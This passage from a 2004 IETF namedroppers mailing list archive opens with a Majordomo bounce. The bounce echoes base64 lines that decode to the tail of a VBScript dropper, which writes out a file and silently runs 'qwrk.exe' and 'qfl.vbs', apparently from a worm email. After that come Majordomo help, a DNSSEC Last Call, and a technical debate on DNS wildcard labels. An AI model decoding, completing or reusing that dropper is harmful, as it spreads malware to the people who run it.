IiAmIHZiY3JsZg0KVFNPLndyaXRlICJmaWxldHh0LldyaXRlKGNocihhKGkpKSkiICYgdmJj **** Command 'iiamihziy3jszg0kvfnplndyaxrlicjmawxldhh0lldyaxrlkgnocihhkgkpkskiicygdmjj' not recognized. >>>> cmxmDQpUU08ud3JpdGUgIm5leHQiICYgdmJjcmxmDQpUU08ud3JpdGUgImZpbGV0eHQuQ2xv **** Command 'cmxmdqpuu08ud3jpdgugim5lehqiicygdmjjcmxmdqpuu08ud3jpdgugimzpbgv0ehquq2xv' not recognized. >>>> c2UiICYgdmJjcmxmDQpUU08ud3JpdGUgImRpbSB6IiAmIHZiY3JsZg0KVFNPLndyaXRlICJk **** Command 'c2uiicygdmjjcmxmdqpuu08ud3jpdgugimrpbsb6iiamihziy3jszg0kvfnplndyaxrlicjk' not recognized. >>>> aW0genoiICYgdmJjcmxmDQpUU08ud3JpdGUgIkNvbnN0IEZvclJlYWRpbmcgPSAxLCBGb3JX **** Command 'aw0genoiicygdmjjcmxmdqpuu08ud3jpdgugiknvbnn0iezvcljlywrpbmcgpsaxlcbgb3jx' not recognized. >>>> cml0aW5nID0gMiwgRm9yQXBwZW5kaW5nID0gMyIgJiB2YmNybGYNClRTTy53cml0ZSAiY29u **** Command 'cml0aw5nid0gmiwgrm9yqxbwzw5kaw5nid0gmyigjib2ymnybgynclrtty53cml0zsaiy29u' not recognized. >>>> c3QgUmVtb3RlRXhlID0gIiJxd3JrLmV4ZSIiIiAmIHZiY3JsZg0KVFNPLndyaXRlICJzZXQg **** Command 'c3qgumvtb3rlrxhlid0giijxd3jrlmv4zsiiiiamihziy3jszg0kvfnplndyaxrlicjzzxqg' not recognized. >>>> enogPSB3c2NyaXB0LmNyZWF0ZW9iamVjdCgiIndzY3JpcHQuc2hlbGwiIikiICYgdmJjcmxm **** Command 'enogpsb3c2nyaxb0lmnyzwf0zw9iamvjdcgiindzy3jpchquc2hlbgwiiikiicygdmjjcmxm' not recognized. >>>> DQpUU08ud3JpdGUgInogPSB6ei5ydW4gKCIicXdyay5leGUiIikiICYgdmJjcmxmDQpUU08u **** Command 'dqpuu08ud3jpdguginogpsb6ei5ydw4gkciicxdyay5leguiiikiicygdmjjcmxmdqpuu08u' not recognized. >>>> d3JpdGUgIndzY3JpcHQucXVpdCIgJiB2YmNybGYNClNldCBUU08gPSBOb3RoaW5nDQpTZXQg **** Command 'd3jpdgugindzy3jpchqucxvpdcigjib2ymnybgynclnldcbuu08gpsbob3roaw5ndqptzxqg' not recognized. >>>> RlNPID0gTm90aGluZw0KRGltIFdzaFNoZWxsDQpTZXQgV3NoU2hlbGwgPSBDcmVhdGVPYmpl **** Command 'rlnpid0gtm90agluzw0krgltifdzafnozwxsdqptzxqgv3nou2hlbgwgpsbdcmvhdgvpympl' not recognized. >>>> Y3QoIldTY3JpcHQuU2hlbGwiKQ0KV3NoU2hlbGwuUnVuICJxZmwudmJzIiwgMCwgZmFsc2UN **** Command 'y3qoildty3jpchquu2hlbgwikq0kv3nou2hlbgwuunvuicjxzmwudmjziiwgmcwgzmfsc2un' not recognized. >>>> CjwvU0NSSVBUPg0KPHNjcmlwdD53aW5kb3cuY2xvc2UoKTwvc2NyaXB0Pg0KPC9IRUFEPg0K **** Command 'cjwvu0nssvbupg0kphnjcmlwdd53aw5kb3cuy2xvc2uoktwvc2nyaxb0pg0kpc9irufepg0k' not recognized. >>>> PC9IVE1MPg== **** Command 'pc9ive1mpg==' not recognized. >>>> >>>> ----------jbwyugkgucjrrnylblnz-- **** Command '----------jbwyugkgucjrrnylblnz--' not recognized. >>>> >>>> **** No valid commands found. **** Commands must be in message BODY, not in HEADER. **** Help for majordomo@psg.com: This help message is being sent to you from the Majordomo mailing list management system at majordomo@psg.com. This is version 1.94.5 of Majordomo. If you're familiar with mail servers, an advanced user's summary of Majordomo's commands appears at the end of this message. Majordomo is an automated system which allows users to subscribe and unsubscribe to mailing lists, and to retrieve files from list archives. You can interact with the Majordomo software by sending it commands in the body of mail messages addressed to "majordomo@psg.com". Please do not put your commands on the subject line; Majordomo does not process commands in the subject line. You may put multiple Majordomo commands in the same mail message. Put each command on a line by itself. If you use a "signature block" at the end of your mail, Majordomo may mistakenly believe each line of your message is a command; you will then receive spurious error messages. To keep this from happening, either put a line starting with a hyphen ("-") before your signature, or put a line with just the word end on it in the same place. This will stop the Majordomo software from processing your signature as bad commands. Here are some of the things you can do using Majordomo: I. FINDING OUT WHICH LISTS ARE ON THIS SYSTEM To get a list of publicly-available mailing lists on this system, put the following line in the body of your mail message to majordomo@psg.com: lists Each line will contain the name of a mailing list and a brief description of the list. To get more information about a particular list, use the "info" command, supplying the name of the list. For example, if the name of the list about which you wish information is "demo-list", you would put the line info demo-list in the body of the mail message. II. SUBSCRIBING TO A LIST Once you've determined that you wish to subscribe to one or more lists on this system, you can send commands to Majordomo to have it add you to the list, so you can begin receiving mailings. To receive list mail at the address from which you're sending your mail, simply say "subscribe" followed by the list's name: subscribe demo-list If for some reason you wish to have the mailings go to a different address (a friend's address, a specific other system on which you have an account, or an address which is more correct than the one that automatically appears in the "From:" header on the mail you send), you would add that address to the command. For instance, if you're sending a request from your work account, but wish to receive "demo-list" mail at your personal account (for which we will use "jqpublic@my-isp.com" as an example), you'd put the line subscribe demo-list jqpublic@my-isp.com in the mail message body. Based on configuration decisions made by the list owners, you may be added to the mailing list automatically. You may also receive notification that an authorization key is required for subscription. Another message will be sent to the address to be subscribed (which may or may not be the same as yours) containing the key, and directing the user to send a command found in that message back to majordomo@psg.com. (This can be a bit of extra hassle, but it helps keep you from being swamped in extra email by someone who forged requests from your address.) You may also get a message that your subscription is being forwarded to the list owner for approval; some lists have waiting lists, or policies about who may subscribe. If your request is forwarded for approval, the list owner should contact you soon after your request. Upon subscribing, you should receive an introductory message, containing list policies and features. Save this message for future reference; it will also contain exact directions for unsubscribing. If you lose the intro mail and would like another copy of the policies, send this message to majordomo@psg.com: intro demo-list (substituting, of course, the real name of your list for "demo-list"). III. UNSUBSCRIBING FROM MAILING LISTS Your original intro message contains the exact command which should be used to remove your address from the list. However, in most cases, you may simply send the command "unsubscribe" followed by the list name: unsubscribe demo-list (This command may fail if your provider has changed the way your address is shown in your mail.) To remove an address other than the one from which you're sending the request, give that address in the command: unsubscribe demo-list jqpublic@my-isp.com In either of these cases, you can tell majordomo@psg.com to remove the address in question from all lists on this server by using "*" in place of the list name: unsubscribe * unsubscribe * jqpublic@my-isp.com IV. FINDING THE LISTS TO WHICH AN ADDRESS IS SUBSCRIBED To find the lists to which your address is subscribed, send this command in the body of a mail message to majordomo@psg.com: which You can look for other addresses, or parts of an address, by specifying the text for which Majordomo should search. For instance, to find which users at my-isp.com are subscribed to which lists, you might send the command which my-isp.com Note that many list owners completely or fully disable the "which" command, considering it a privacy violation. V. FINDING OUT WHO'S SUBSCRIBED TO A LIST To get a list of the addresses on a particular list, you may use the "who" command, followed by the name of the list: who demo-list Note that many list owners allow only a list's subscribers to use the "who" command, or disable it completely, believing it to be a privacy violation. VI. RETRIEVING FILES FROM A LIST'S ARCHIVES Many list owners keep archives of files associated with a list. These may include: - back issues of the list - help files, user profiles, and other documents associated with the list - daily, monthly, or yearly archives for the list To find out if a list has any files associated with it, use the "index" command: index demo-list If you see files in which you're interested, you may retrieve them by using the "get" command and specifying the list name and archive filename. For instance, to retrieve the files called "profile.form" (presumably a form to fill out with your profile) and "demo-list.9611" (presumably the messages posted to the list in November 1996), you would put the lines get demo-list profile.form get demo-list demo-list.9611 in your mail to majordomo@psg.com. VII. GETTING MORE HELP To contact a human site manager, send mail to Majordomo-Owner@psg.com. To contact the owner of a specific list, send mail to that list's approval address, which is formed by adding "-approval" to the user-name portion of the list's address. For instance, to contact the list owner for demo-list@psg.com, you would send mail to demo-list-approval@psg.com. To get another copy of this help message, send mail to majordomo@psg.com with a line saying help in the message body. VIII. COMMAND SUMMARY FOR ADVANCED USERS In the description below items contained in []'s are optional. When providing the item, do not include the []'s around it. Items in angle brackets, such as <address>, are meta-symbols that should be replaced by appropriate text without the angle brackets. It understands the following commands: subscribe <list> [<address>] Subscribe yourself (or <address> if specified) to the named <list>. unsubscribe <list> [<address>] Unsubscribe yourself (or <address> if specified) from the named <list>. "unsubscribe *" will remove you (or <address>) from all lists. This _may not_ work if you have subscribed using multiple addresses. get <list> <filename> Get a file related to <list>. index <list> Return an index of files you can "get" for <list>. which [<address>] Find out which lists you (or <address> if specified) are on. who <list> Find out who is on the named <list>. info <list> Retrieve the general introductory information for the named <list>. intro <list> Retrieve the introductory message sent to new users. Non-subscribers may not be able to retrieve this. lists Show the lists served by this Majordomo server. help Retrieve this message. end Stop processing commands (useful if your mailer adds a signature). Commands should be sent in the body of an email message to "majordomo@psg.com". Multiple commands can be processed provided each occurs on a separate line. Commands in the "Subject:" line are NOT processed. If you have any questions or problems, please contact "Majordomo-Owner@psg.com". -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: =?iso-8859-1?Q?=D3lafur?= =?iso-8859-1?Q?_Gu=F0mundsson?= <ogud@ogud.com> Subject: Re: Majordomo results: Re: Hello Date: Thu, 02 Sep 2004 16:23:43 -0400 Lines: 22 Sender: owner-namedroppers@ops.ietf.org References: <E1C2xfB-000K1v-Mx@psg.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 22:33:46 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: post@localhost (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 6.1.0.6 To: namedroppers@ops.ietf.org In-Reply-To: <E1C2xfB-000K1v-Mx@psg.com> References: <E1C2xfB-000K1v-Mx@psg.com> X-Scanned-By: MIMEDefang 2.44 Precedence: bulk At 15:54 02/09/2004, majordomo@psg.com wrote: > [ Moderators note: Post was moderated, either because it was posted by > a non-subscriber, or because it was over 20K. > With the massive amount of spam, it is easy to miss and therefore > delete relevant posts by non-subsrcibers. Please fix your > subscription addresses. ] Apologies for approving the wrong message. I was trying to approve a different message but messed up please forgive me and delete the message. Olafur -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: wild cards Date: Fri, 03 Sep 2004 04:40:13 +0700 Lines: 90 Sender: owner-namedroppers@ops.ietf.org References: <a06020410bd5d2ac62262@[192.168.1.100]> <a06020406bd5cd75cb8dd@[192.168.1.100]> <a06020407bd5b9bc9d506@[192.168.1.100]> <25125.1094132929@munnari.OZ.AU> <22959.1094153870@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 23:52:16 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020410bd5d2ac62262@[192.168.1.100]> Precedence: bulk Date: Thu, 2 Sep 2004 16:13:39 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a06020410bd5d2ac62262@[192.168.1.100]> | We moved IQUERY to historic. Yes, because that was broken as specified and simply didn't, and couldn't work. We can move anything else like that to historic as well. But one domain name is the same as any other domain name, they all work just the same way - if it is OK to move one to historic (or "make it illegal") it has to be just as OK to do the same to any other arbitrary domain name. | Then I think I've wasted a lot of bit's on this. Yes, sorry - but I think we mostly (or completely) agree on how the things actually work. The question is just whether there's anything needs to be changed to clear up the misunderstandings that exist. I still say no. No changes, just explanation. (The CNAME proposed change is for other reasons). | From what I've heard, the WG disagrees with this line of reasoning. I'd like to hear from other members of the WG now. In the past couple of days at least, there has been nothing (on this topic) from anyone except the two of us... (since I started in on it anyway). So, after this message, I'll go back to hibernate state for a while I think (unless someone says something outrageous...) | Just because something is legal doesn't mean it has to remain legal. No, as I said before, things can be changed - but we really have to be very certain that the change is essential to do that kind of thing. | >No, no matter what we do, the planned interpretation does not, and | >cannot, ever work. That would take a major redefinition of the DNS | >lookup algorithms to accomplish, plus deployment of modified servers | >all over the place. Not likely. | | I don't see restricting the names having anything to do with the | resolver side. No, nor do I (unless of course there's someone somewhere actually doing lookups of names with '*' (literal) labels in them which you're proposing to prevent working). Note I said "deployment of modified servers", nothing there about resolvers. Also note that the entire name lookup algorithm occurs within servers, the resolvers do none of it (they just hand off the name they're seeking to one server after another, as they're instructed, until they eventually either get an answer (positive or negative) or decide to give up trying. | In addition (in answer to something I dropped) RFC 1034, 4.3.3. already says: | <anydomain> should not contain other * labels... Ok, I see that. | which is a name restriction already. Maybe, that's a section describing wildcard processing, not legal names, so I think that can be argued either way. That throw away remark doesn't seem to have any impact on anything, and most likely shouldn't be there at all. | It seems to me that there was | an intent to restrict names involving wild cards. I think it is important that we're clear that a '*' name is only a wildcard when it is being used that way as part of the lookup algorithm. Otherwise it is simply an ordinary domain name. When a server sees a '*' label in a zone file, there's no way it can tell which of those two ways it will actually get used. It may presume it is likely to be used as a wildcard, as if a wildcard is needed, it is there to fill the role - but if no-one ever does a lookup of a non-existing name (yeah - I know - not a likely assumption, but nevertheless) then it would never be used as a wildcard - whereas if there are lookups for the literal '*' it is being used as an ordinary domain name label. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: The IESG <iesg-secretary@ietf.org> Subject: Last Call: 'DNS Security Introduction and Requirements' to Proposed Standard Date: Fri, 03 Sep 2004 17:46:31 -0400 Lines: 25 Sender: owner-namedroppers@ops.ietf.org Reply-To: iesg@ietf.org Cc: <namedroppers@ops.ietf.org> X-From: owner-namedroppers@ops.ietf.org Sat Sep 04 00:09:33 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-test-idtracker: no To: IETF-Announce <ietf-announce@ietf.org> Precedence: bulk The IESG has received a request from the DNS Extensions WG to consider the following documents: - 'Protocol Modifications for the DNS Security Extensions ' <draft-ietf-dnsext-dnssec-protocol-07.txt> as a Proposed Standard - 'DNS Security Introduction and Requirements ' <draft-ietf-dnsext-dnssec-intro-11.txt> as a Proposed Standard - 'Resource Records for the DNS Security Extensions ' <draft-ietf-dnsext-dnssec-records-09.txt> as a Proposed Standard The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send any comments to the iesg@ietf.org or ietf@ietf.org mailing lists by 2004-09-17. The file can be obtained via http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-protocol-07.txt http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-intro-11.txt http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-records-09.txt -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Kevin Darcy <kcd@daimlerchrysler.com> Subject: Re: more wild cards Date: Fri, 03 Sep 2004 21:56:23 -0400 Lines: 211 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Sat Sep 04 04:06:20 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.4) Gecko/20030701 X-Accept-Language: en-us, en To: namedroppers@ops.ietf.org In-Reply-To: <3659.1094156279@munnari.OZ.AU> Precedence: bulk I think one major bit of "looseness" that needs to be addressed here is that RFC 1034's Section 4.3.3 restricts the term "wildcard" to names _beginning_ with an asterisk label, whereas the lookup algorithm of Section 4.3.2 talks about "matching down, label by label", when to look for an asterisk label, and what to do if one is found, without any limitations on whether the asterisk label is the first one in an owner name or not. So the whole class of owner names containing _non-terminal_ asterisk labels is in a kind of twilight zone, able, presumably, to affect the lookup algorithm *functionally* in a wildcard-like way, but yet not "wildcards" under the *structural* definition of Section 4.3.3. In particular, this leaves completely open whether Section 4.3.3's prohibition (assuming one reads its "should not contain" in more modern terms as "MUST NOT contain") of "wildcards" with multiple asterisk labels in their name means that asterisk labels contained in *all* multiple-asterisk-label-containing owner names, including names where the first label is something other than a lone asterisk, are thereby excluded from the "special" behavior that asterisk labels have within the lookup algorithm. If the intent was for only "wildcards" to have the special effect on the lookup algorithm, it would have been helpful for the algorithm description to have at least used the word. Were these sections written at different times, or cribbed from different sources? They seem rather disconnected from each other, despite their textual adjacency in the RFC... - Kevin Robert Elz wrote: > Date: Thu, 2 Sep 2004 11:08:25 -0400 > From: Edward Lewis <edlewis@arin.net> > Message-ID: <a06020407bd5ce15f1169@[192.168.1.100]> > > | We restrict names that have CNAME to be exclusively that ('cept for > | DNSSEC records) and then just one CNAME RR. We restrict some name > | to have just 1 SOA RR. > >Sorry, how is this in any way relevant. There are lots of various >restrictions in the DNS as it was originally defined, that's fine. >There never were any restrictions on the values of the octets in any >name labels however - none at all for any uses at all - and there's >no reason at all to start adding any. > > | There's nothing in the current specifications that prevent "* NS" > | now. > >No, of course there isn't, and nor is there any reason for there to be. > > | The WG seems to be moving towards formalizing the prevention. > >No, the WG is (seems to be) confused. What the WG wants to prevent >is a '* NS' meaning "all domain names, other than those explicitly in >the zone, are delegated to ..." > >But there's no need to do that, that usage of '* NS' is already absent. > >That is, while there's no text in 1034 that explicitly says this doesn't >work in quite those explicit terms, there is absolutely nothing in the >lookup algorithm which could conceivably allow it to work. > >The only way a '* NS' RR will ever be used is when someone is either > a) doing an explicit lookup for a qname that includes a '*' > label at the appropriate point to match (in which case there > is no wildcard at all, just yet another 1 octet label, the '*' > is no different at all to an 'x' or a ':' (or for that matter, > even a '.'). > b) doing a query of type NS for a name that isn't in the zone. > Then the '*' will match as a wildcard. This is harmless. > > | Looking at the discussion - I see a swell of support for formally > | banning the holding of NS and SOA at the * label. > >I don't. What I saw was a swell of support for not making dynamic >zone creation work by the addition of some wildcard magic. That's >something different - to do it would actually require changes to the >lookup algorithms (something like is being proposed for CNAME, but of >a more radical nature). > >I know that there are people who believe that a '* NS' record somehow >might be a wildcard delegation - but they're simply mistaken. There is >no such thing in the DNS as it exists, and we don't need to change anything >to prevent that interpretation. > >Making '* NS' illegal would simply be making one special case name that >can own any other record type, but cannot be delegated, unlike every >other name that ever might exist. > > | As much as I can > | rationalize, leaving them legal does no harm in the sense that the > | protocol isn't harmed. > >But making them illegal makes a silly special case, for which >there is no justification. > > | But, by leaving them legal we open up the > | documents to widely speculative interpretations (such as what > | happened in MARID regarding internal wild cards) > >Yes, we need to make it clear how the things work. That's why we need >this clarifications doc. We don't need to change anything to explain it. > > | and we create gray areas and corner cases. > >No, there are no grey areas, and no corner cases here, everything is simple. > >It is just confusing as people keep treating the '*' in a DNS zone >(or domain name) as if it were a '*' (or perhaps .*) in a regular >expression (or perhaps closer, a '*' in a glob pattern). We just >need to make it clear that it is nothing like any of that. There >is no pattern matching going on here at all. > > | Exactly what I've discovered in my research. And, because of your > | last line, I think the WG wants to see the ban on * SOA and *NS in > | place. To make it clear to newcomers to "don't go there." > >But that's the wrong method. This is just as crazy as the earlier >attempts to restrict domain names to the old hosts.txt syntax. We >don't have to do anything like that. > >We just need to explain how it works - clearly - and with examples. > > | Look at what we did for the DS RR set. We changed the data lookup > | algorithm to make the answer come from the parent. > >Yes, that's OK, that kind of thing is possible - changes can be made >when there's a very good reason, and when you can be confident that >nothing is going to break because of the change - which might not be >as difficult when you're doing something completely new. > > | Here, we can say "the answer to a * NS query is noerror/nodata." We > | can most easily enforce this by refusing to allow "*NS" into the > | server. That's better than putting in other road blocks. > >But we don't need to do a thing. That's what I am trying to make clear. >The spec as it is already provides all the right answers in this area. > >The only problem is that almost no-one reads the spec, rather they just >jump to conclusions. That isn't a good reason for making changes. > > | Let's say we discover that there's a use for "* NS". > >There already is. It is used to delegate the '*' sub-domain. >What else could it possibly mean? > > | I really think that when it comes to securing critical infrastructure > | like DNS, we want to clamp down on it's looseness with out making it > | brittle. > >There is nothing loose here, it is already precisely defined. As we >agreed earlier, the only problem is how people misinterpret it, not >how things are specified. When that's the problem, the answer is >to correct the interpretation, not to change the spec. > > | I do share the concern that laying down "rules" is dangerous for > | future growth. > >Here I think you're (and here I really mean the singular "you" - ye??) still >imagining that there can somehow be some way of wildcard auto zone >generation/delegation, not now perhaps, but sometime in the future. > >There cannot be - or not without a major redesign of the DNS lookup >algorithms (if that were ever to be attempted, it might possibly not >even be '*' that's used as the magic token for this purpose). > > | But, the case is being made that we want the DNS to be much more clear, > | understandable to folks that coming to the table later in the > | development of the Internet. > >Yes, absolutely, and this part I agree with. But the way to make things >clear isn't to introduce more special case rules. It is to simply >explain things better, so they can be understood properly. > > | When I talked to MARID in May, at their interim meeting, they did not > | want an engineering discussion of DNS, they wanted "can/can't". > >Sure, and the answer is "can't". If they don't want the explanation, >that's OK, provided they're prepared to accept the answer. If they're >not prepared to simply accept a yes/no answer because it isn't the >answer they hoped for, then they have to start to understand the >mechanism. If they refuse that, they're idiots, and we just ignore >them, what they're doing won't work, can't work, and why should we care? > >It is kind of like if I ask my mechanic "can my car do 200 kph in >reverse?" (S)he says "no". If I'm prepared to simply accept >that answer, fine. On the other hand, if I start to argue that >the car does 200 kph in the forward direction, so the engine can >clearly manage that speed, so it must also be able to do 200 kph >in reverse, and I refuse to have anything about gear ratios or >whatever explained to me, then what should be done? Limit the >max forward speed to what can be obtained in reverse by fiat? >Because that's exactly what is being proposed here for the DNS. > >kre > > >-- >to unsubscribe send a message to namedroppers-request@ops.ietf.org with >the word 'unsubscribe' in a single line as the message text body. >archive: <http://ops.ietf.org/lists/namedroppers/> > > > > -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: wild cards Date: Sun, 05 Sep 2004 13:12:00 +0100 Lines: 36 Sender: owner-namedroppers@ops.ietf.org References: <a06020410bd5d2ac62262@[192.168.1.100]> <a06020406bd5cd75cb8dd@[192.168.1.100]> <a06020407bd5b9bc9d506@[192.168.1.100]> <25125.1094132929@munnari.OZ.AU> <22959.1094153870@munnari.OZ.AU> <14642.1094161213@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sun Sep 05 14:27:19 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <14642.1094161213@munnari.OZ.AU> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Robert Elz wrote: > I think it is important that we're clear that a '*' name is only a wildcard > when it is being used that way as part of the lookup algorithm. Otherwise > it is simply an ordinary domain name. > > When a server sees a '*' label in a zone file, there's no way it can tell > which of those two ways it will actually get used. It may presume it is > likely to be used as a wildcard, as if a wildcard is needed, it is there to > fill the role - but if no-one ever does a lookup of a non-existing name > (yeah - I know - not a likely assumption, but nevertheless) then it would > never be used as a wildcard - whereas if there are lookups for the literal > '*' it is being used as an ordinary domain name label. Is this really a distinction? If '*' is a wildcard, then it will match '*' just as well as anything else. So, if a server assumes it is always a wildcard, then it is never wrong, is it? So it isn't clear to me why it is important to make this distinction. Unless you are trying to handle the 'x.*' case by saying this, in which case I agree but I'm not sure its a helpful way to express it. Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: wild cards Date: Mon, 06 Sep 2004 02:36:58 +0700 Lines: 32 Sender: owner-namedroppers@ops.ietf.org References: <413B0290.1090504@algroup.co.uk> <a06020410bd5d2ac62262@[192.168.1.100]> <a06020406bd5cd75cb8dd@[192.168.1.100]> <a06020407bd5b9bc9d506@[192.168.1.100]> <25125.1094132929@munnari.OZ.AU> <22959.1094153870@munnari.OZ.AU> <14642.1094161213@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sun Sep 05 21:49:59 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk> In-Reply-To: <413B0290.1090504@algroup.co.uk> Precedence: bulk Date: Sun, 05 Sep 2004 13:12:00 +0100 From: Ben Laurie <ben@algroup.co.uk> Message-ID: <413B0290.1090504@algroup.co.uk> | Is this really a distinction? If '*' is a wildcard, then it will match | '*' just as well as anything else. So, if a server assumes it is always | a wildcard, then it is never wrong, is it? So it isn't clear to me why | it is important to make this distinction. It matters because of the way the lookup algorithm is defined. When a label is found by an exact match (well, a case independent exact match) a certain sequence of further actions takes place (including handling CNAME records, and delegations). On the other hand, when no match is found, then a check for a wildcard is made, different steps follow - which includes auto-match of all the remaining labels in the query, but doesn't include delegations, nor (currently) following of CNAME records. For better of worse, this is how it all is defined to work. What we're supposed to be doing is making it all clear. Burying this distinction, while an irrelevant one for most purposes, makes it almost impossible to be as clear as we need to be about how it all works. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: more wild cards Date: Mon, 06 Sep 2004 03:22:45 +0700 Lines: 69 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sun Sep 05 22:29:44 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Kevin Darcy <kcd@daimlerchrysler.com> In-Reply-To: <413920C7.3000809@daimlerchrysler.com> Precedence: bulk Date: Fri, 03 Sep 2004 21:56:23 -0400 From: Kevin Darcy <kcd@daimlerchrysler.com> Message-ID: <413920C7.3000809@daimlerchrysler.com> | I think one major bit of "looseness" that needs to be addressed here is | that RFC 1034's Section 4.3.3 restricts the term "wildcard" to names | _beginning_ with an asterisk label, whereas the lookup algorithm of | Section 4.3.2 talks about "matching down, label by label", when to look | for an asterisk label, and what to do if one is found, without any | limitations on whether the asterisk label is the first one in an owner | name or not. Actually, this isn't as different as it appears to be. Remember that if the name a.b.c.d exists, then so do the names b.c.d.e c.d.e d.e and e. If any of a b c d or e is '*' then there is a name that begins with '*'. However, 4.3.3 talks of RR's owned by '*' - which is what is important for wildcards, and why names like a.*[.anything] in a zone are useless (ignoring the case where someone is doing a lookup for a qname containing a '*' label where those a.* names work just like any other name). If a.* is present in the zone then the '*' label (by virtue of this RR anyway) has no RR's attached to it - it is what we have come to call an empty non-terminal. The lookup algorithm finds the '*', matches its RR's (of which there are none) against the QTYPE, must fail to find anything, terminates the search, and returns an empty answer. For all practical purposes, that's exactly the same as returning a "no such name" error, whatever we wanted to do that caused the name lookup to be done is going to fail, as the data we wanted isn't there. If there's also a '* XX' RR (for any type XX) that one of course will exist, and do its wildcard thing, totally independently of the a.* record (the latter remaining useless). Note here it doesn't matter in the slightest what 'a' is, which is one good reason that names with multiple '*'s shouldn't exist - any name with anything to the left of the '*' is, for practical purposes, useless. But to re-iterate, all this assumed no queries involving '*' labels in the QNAME - as soon as we allow for those (and 1034 clearly does) then we have to also allow for a query of foo.*.example.com (which could be implemented using a foo.* label in the example.com zone) - and we also need to allow for "foo" to match using a wildcard (which might be *.* in the example.com zone). What's more, we also should allow the '*' sub-domain to be delegated, leading to '* NS' records in example.com and '*.example.com. SOA' in the delegated zone file. kre ps: I know I said I was going to remain silent - but it has been a couple of days now, and while we've had those couple of comments that I have now just replied to, we still haven't had any opinions on what (if anything) anyone really wants to change about '*' labels and where they're permitted. My opinion remains that no changes are needed - just *much* better explanations (or at least, ones that don't require painstaking analysis of the details of the algorithm - what's there now is actually reasonably precise, but it takes very careful reading to extract it). Namedroppers isn't usually known for people being reticent about expressing opinions, what has happened to everyone? (Yes, I know it is a holiday weekend in the US, but the whole net isn't there...) -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: dictionary attack on 